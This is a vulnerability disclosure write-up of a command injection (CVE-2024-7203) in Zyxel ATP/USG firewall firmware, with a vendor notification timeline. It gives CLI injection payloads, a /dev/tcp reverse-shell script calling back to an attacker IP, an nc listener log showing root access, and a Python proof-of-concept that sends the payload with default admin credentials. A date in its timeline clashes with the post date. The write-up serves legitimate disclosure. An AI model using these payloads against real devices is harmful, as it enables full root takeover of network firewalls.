ZYXEL
    Remote Code Execution
    Firewall
    CVE-2024-7203
    ZLD V5.38

    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)

    February 21, 2025
    3 min read
    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)

    "The greatest enemy of knowledge is not ignorance,
    it is the illusion of knowledge."
    – Stephen Hawking


    📌 Note

    This is an excerpt from the official writeup sent to ZYXEL.


    Summary

    During our routine assessment of ZLD, we identified a feature vulnerable to
    OS Command Injection. This vulnerability allows threat actors to compromise the entire device.

    The following features are affected by this vulnerability:

    • IP Reputation: This function evaluates the reputation of IP addresses, identifying and blocking those associated with harmful activities to enhance network security.
    • URL Threat Filter: This filter analyzes and blocks URLs known to be dangerous or suspicious, safeguarding users from harmful websites.

    Both IP Reputation and URL Threat Filter have an External Block List that loads an external database.

    How is the External Block List vulnerable? In an attempt to better understand how to attack this feature, we tried both GUI and CLI configurations.

    GUI Configuration

    This is an example of how the EBL should be configured via the GUI.

    Alert

    The name and description values must be strings, while the source should contain the URL where the potential file containing the URLs to be loaded is located.

    CLI Configuration

    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    Router# configure terminal
    Router(config)# ip-reputation ebl test
    Router(config-ip-reputation-ebl-test)# source http://12.12.12.12/file.txt
    Router(config-ip-reputation-ebl-test)# exit
    Router(config)#

    Analysis

    Immediately after exiting the configuration, the script responsible for loading the file from the potential external server is launched. How did we realize this? By configuring a local server to listen and observing the real-time request. What led us to the discovery of the flaw was analyzing what the system did in the background. This analysis was made possible by the ps command integrated into ZYSH, which can be invoked via:

    • debug system ps

    Using the match filter, also integrated into ZYSH, we filtered the output:

    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    Router# debug system ps | match "12.12.12.12/file.txt"
     2780 1 python root [...] python /etc/reputation-ebl/extbl_sig_update.pyc http://12.12.12.12/file.txt tAK98UoTtH5ttzm test ip 94

    Injection

    The idea was to add a character to the source parameter that would trigger an injection.

    Alert

    The first attempt via GUI was unsuccessful due to Javascript’s character filtering.
    However, via CLI, we did not encounter the same filtering:

    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    Router# configure terminal
    Router(config)# ip-reputation ebl test
    Router(config-ip-reputation-ebl-test)# source http://12.12.12.12/file.txt
    Router(config-ip-reputation-ebl-test)# exit
    Router(config)# # Everythings ok
    Router(config)# # Let's try to perform an injection
    Router(config)# ip-reputation ebl test
    Router(config-ip-reputation-ebl-test)# source http://12.12.12.12/file.txt;
    Router(config-ip-reputation-ebl-test)# # It seems worked!
    Router(config-ip-reputation-ebl-test)# source http://12.12.12.12/file.txt;test
    Router(config-ip-reputation-ebl-test)# 

    As can be seen in the following screenshot, the command is executed with the semicolon followed by test.

    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    00:01 00:00:00 python /etc/reputation-ebl/extbl_sig_update.pyc http://12.12.12.12/file.txt
    00:01 00:00:00 sh -c python /etc/reputation-ebl/extbl_sig_update.pyc http://12.12.12.12/file.txt;test irT0oZ6cFIOMEvF test ip 94 &

    RCE (Remote Code Execution)

    The first attempt was to launch System commands. Specifically:

    • id
    • pwd
    • ls

    All were executed successfully and, because the python script is executed
    as the root user, we acquire its privileges.

    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    Router# configure terminal
    Router(config)# ip-reputation ebl test
    Router(config-ip-reputation-ebl-test)# source http://12.12.12.12/file.txt;id;
    Router(config-ip-reputation-ebl-test)# exit
    uid=0(root) gid=0(root) groups=0(root)
    Router(config)# 

    Reverse Shell via Uploaded File

    Obtaining a reverse shell was not difficult; it was enough to upload a shell file via FTP and execute it through the injection.

    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    #!/bin/bash
    # Our reverse shell script "rev.sh"
    exec bash -i &>/dev/tcp/10.168.254.14/1337 <&1
    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    rainpwn@0xdeadc0de:~$ ftp 10.168.254.1
    Connected to 10.168.254.1.
    220 FTP Server (ATP100) [::ffff:10.168.254.1]
    Name (10.168.254.1:rainpwn): admin
    331 Password requiered for admin
    Password:
    230 User admin logged in
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> cd /tmp
    250 CWD command successful
    ftp> dir rev.sh
    229 Entering Extended Passive Mode (|||21418|)
    150 Opening ASCII mode data connection for file list
    -rwxr-xr-x  1 root    root      247 Jul 15 20:35 rev.sh
    226-Transfer complete
    226 Quotas off
    ftp>

    The SH file is automatically uploaded with execution permissions -rwxr-xr-x,
    so it was enough to launch the following command to obtain a reverse shell:

    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    Router> configure terminal
    Router(config)# ip-reputation ebl test
    Router(config-ip-reputation-ebl-test)# source http://12.12.12.12;/etc/zyxel/ftp/tmp/rev.sh;
    Router(config-ip-reputation-ebl-test)# exit
    Router(config)# 
    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    rainpwn@0xdeadc0de:~$ nc -lvnp 1337
    Listening on 0.0.0.0:1337
    Connection received on 10.168.254.1 46594
    bash: cannot set erminal process group (9886): Inappropriate ioctl for device
    bash: no job control in this shell
    bash-5.1# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    bash-5.1# 

    In case the reverse shell was not uploaded with execution permission, just run the following command from the CLI:

    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    Router# configure terminal
    Router(config)# ip-reputation ebl test
    Router(config-ip-reputation-ebl-test)# source http://12.12.12.12;chmod$IFS+x$IFS/etc/zyxel/ftp/tmp/rev.sh;
    Router(config-ip-reputation-ebl-test)# exit

    Even by sending a POST request to ZYSH-CGI, it is possible to perform injection, obviously after having logged in.

    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    import requests
    from urllib3.exceptions import InsecureRequestWarning
     
    # Suppress the warnings from urllib3
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    
    headers = {
        'Accept': 'text/html,application/xhtml+xml',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Origin': 'https://redacted',
        'Referer': 'https://redacted/',
        'User-Agent': 'Mozilla/5.0',
    }
    
    target = "https://redacted/"
    payload='ip-reputation-ebl-test&cmd=source http://12.12.12.12;/etc/zyxel/ftp/tmp/rev.sh;'
    
    session = requests.Session()
    
    print("[!] Login as admin ...")
    login = session.post(url=target, 
                         data="username=admin&pwd=1234&password=1234&pwd_r=&mp_idx=0", 
                         headers=headers, 
                         verify=False)
    
    print("[>] Sending crafted payload ...")
    data = session.post(url=f"{target}/cgi-bin/zysh-cgi", 
                        cookies=session.cookies, 
                        data=f"filter=js2&cmd={payload}&cmd=exit", 
                        headers=headers, 
                        verify=False).text
    
    print(data)
    if "OK" in data:
        print("[+] Enjoy your reverse shell!")
    else:
        print("[-] Something went wrong!")

    PoC Python script sending a POST request to redacted/cgi-bin/zysh-cgi with the crafted payload:

    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    rainpwn@0xdeadc0de:~$ python zysh.py
    [!] Login as admin ...
    [>] Sending crafted payload ...
    var zyshdata1=[
    var errno1=0;
    var errmsg1="OK";
    var zyshdata2=[
    var errno2=0;
    var errmsg2="OK";
    
    [+] Enjoy your reverse shell!
    CVE-2024-7203: Remote Code Execution in ZYXEL ATP/USG (V5.38)
    nc -lvnp 1337
    Listening on 0.0.0.0 1337
    Connection received on 10.168.254.1 46594
    bash: cannot set erminal process group (9886): Inappropriate ioctl for device
    bash: no job control in this shell
    bash-5.1# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    bash-5.1# 

    Disclosure

    • 2024-07-16: ZYXEL was notified via <security@zyxel.com.tw>
    • 2024-07-17: ZYXEL acknowledged our vulnerability report.
    • 2024-07-31: ZYXEL assigned CVE-2024-7203 to the reported issues and informed us of their intention to publish their security advisory on 2024-12-31.
    • 2024-08-24: ZYXEL informed us that they managed to fix the vulnerability ahead of schedule and would release the fix and disclose the vulnerability on 2024-09-03.
    • 2024-09-03: ZYXEL published their security advisory, following our coordinated disclosure timeline.
    • 2025-09-03: We pubblished our own disclosure with full details on the vulnerability.